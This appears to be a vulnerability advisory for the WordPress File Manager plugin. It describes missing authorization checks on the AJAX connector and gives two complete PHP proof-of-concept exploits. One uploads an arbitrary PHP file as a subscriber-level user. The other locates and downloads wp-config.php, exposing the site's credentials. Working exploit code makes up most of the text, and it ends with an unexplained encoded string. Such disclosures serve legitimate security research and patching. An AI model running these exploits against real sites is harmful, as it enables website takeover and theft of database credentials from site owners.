File Manager [Authenticated Arbitrary File Upload - Download]

Description

Plugin File Manager doesn’t implement security check when performing various plugin actions such as uploading or downloading a file.

An attacker can exploit the fact that this plugin lacks proper security checks to perform a predefined set of actions. Although those actions for the free version of this plugin are limited, even so those include uploading an downloading file from the server, thus an attack could lead to a full compromise of the infected website.

All of those actions are going through the AJAX action connector. This is a privileged action and is only available to registered user, thus limiting somehow the attack vector of this vulnerability.

PoC

File Upload

#!/usr/bin/env php
<?php
/*******************************************************************************
 * file-manager - Authenticated Arbitrary File Upload
 *
 * Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
    Cli::writeError( 'You must enter a valid URL' );
    exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

global $session, $v, $fileName, $successIndicator;
$successIndicator = uniqid();
$fileName = uniqid().'.php';

$session = new \Requests_Session();

Cli::writeInfo( 'Authenticating with WordPress' );
WPAuthentication::logInAsUserRole( $session, WPAuthentication::USER_ROLE_SUBSCRIBER );

$r = $session->get(Endpoint::adminAjaxURL().'?action=connector&cmd=open');

if(!$r->success){
    // error
    Cli::writeError('Unable to initialize exploit, maybe target is not exploitable');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

$res = json_decode($r->body);

// find the root disk
foreach ( $res->debug->volumes as $volume ) {
    $r = $session->get(Endpoint::adminAjaxURL().'?action=connector&cmd=open&target='.$volume->id);
    $vol = json_decode($r->body);
    if(isset($vol->files) && !empty($vol->files)){
        foreach ( $vol->files as $file ) {
            if($file->name == 'wp-config.php'){
                Cli::writeSuccess('Found wp-config.php file in volume ' . $volume->id . ' with hash ' . $file->hash);
                $v = $volume;
                break 2;
            }
        }
    }
}

if(!isset($file) || $file->name != 'wp-config.php'){
    Cli::writeError('Failed to find wp-config.php file');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

// we found the volume that contains the wordpress installation, now upload the file
$hooks = new \Requests_Hooks();
$hooks->register( 'curl.before_send', 'file_upload' );
$r = $session->post(
    Endpoint::adminAjaxURL(),
    [ 'Content-Type' => 'multipart/form-data; boundary=__FORM_BOUNDARY__' ],
    [],
    [
        'hooks'   => $hooks,
    ]
);

if(!$r->success){
    Cli::writeError('Failed to upload file');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

$res = json_decode($r->body);

if(!$res->added){
    Cli::writeError('File seems that was not added after it was uploaded');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

$url = Endpoint::baseURL() . '/' . $res->added[0]->name;
Cli::writeSuccess('File uploaded...');
Cli::writeInfo('Validating result');

$r = $session->get($url);

if($r->body!=$successIndicator){
    Cli::writeError('Failed to validate uploaded file');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

Cli::writeSuccess('Exploit successful, file is in ' . $url);
exit(ExitCodes::EXIT_CODE_EXPLOIT_SUCCEEDED);

function file_upload($fp)
{
    global $successIndicator, $fileName, $v;
    $payload = [
        '--__FORM_BOUNDARY__',
        'Content-Disposition: form-data; name="action"',
        '',
        'connector',
        '--__FORM_BOUNDARY__',
        'Content-Disposition: form-data; name="cmd"',
        '',
        'upload',
        '--__FORM_BOUNDARY__',
        'Content-Disposition: form-data; name="target"',
        '',
        $v->id,
        '--__FORM_BOUNDARY__',
        'Content-Disposition: form-data; name="upload[]"; filename="'.$fileName.'"',
        'Content-Type: application/octet-stream',
        '',
        '<?php echo "' . $successIndicator . '";', // The actual exploit code goes here
        '',
        '--__FORM_BOUNDARY__--',
        '',
    ];
    curl_setopt($fp, CURLOPT_POSTFIELDS, implode(CRLF, $payload));
}

File Download

In this PoC we use download the wp-config.php file

#!/usr/bin/env php
<?php
/*******************************************************************************
 * file-manager - Authenticated Arbitrary File Download
 *
 * Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
	Cli::writeError( 'You must enter a valid URL' );
	exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

global $session;
$session = new \Requests_Session();

Cli::writeInfo( 'Authenticating with WordPress' );
WPAuthentication::logInAsUserRole( $session, WPAuthentication::USER_ROLE_SUBSCRIBER );

$r = $session->get(Endpoint::adminAjaxURL().'?action=connector&cmd=ls&debug=true&target=l1_Lw');

if(!$r->success){
    Cli::writeError('Unable to initialize exploit, maybe target is not exploitable');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

$res = json_decode($r->body);

// find the root disk
foreach ( $res->debug->volumes as $volume ) {
    $r = $session->get(Endpoint::adminAjaxURL().'?action=connector&cmd=ls&target='.$volume->id);
    $vol = json_decode($r->body);
    if(isset($vol->list) && !empty($vol->list)){
        foreach ( $vol->list as $hash => $file ) {
            if($file == 'wp-config.php'){
                Cli::writeSuccess('Found wp-config.php file in volume ' . $volume->id . ' with hash ' . $hash);
                break 2;
            }
        }
    }
}

if(!isset($file) || $file != 'wp-config.php'){
    Cli::writeError('Failed to find wp-config.php file');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

Cli::writeInfo('Requesting file contents');
// if we make it here then we have everything we need to get the wp-config.php file
$r = $session->get(Endpoint::adminAjaxURL().'?action=connector&cmd=get&target='.$hash);

if(!$r->success){
    // error
    Cli::writeError('Something went wrong, unable to get file contents');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

$res = json_decode($r->body);

if(!isset($res->content) || empty($res->content)){
    Cli::writeError('Unable to read file content');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

Cli::writeSuccess('Exploit successful, printing wp-config.php file contents');
Cli::write($res->content);
exit(ExitCodes::EXIT_CODE_EXPLOIT_SUCCEEDED);

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX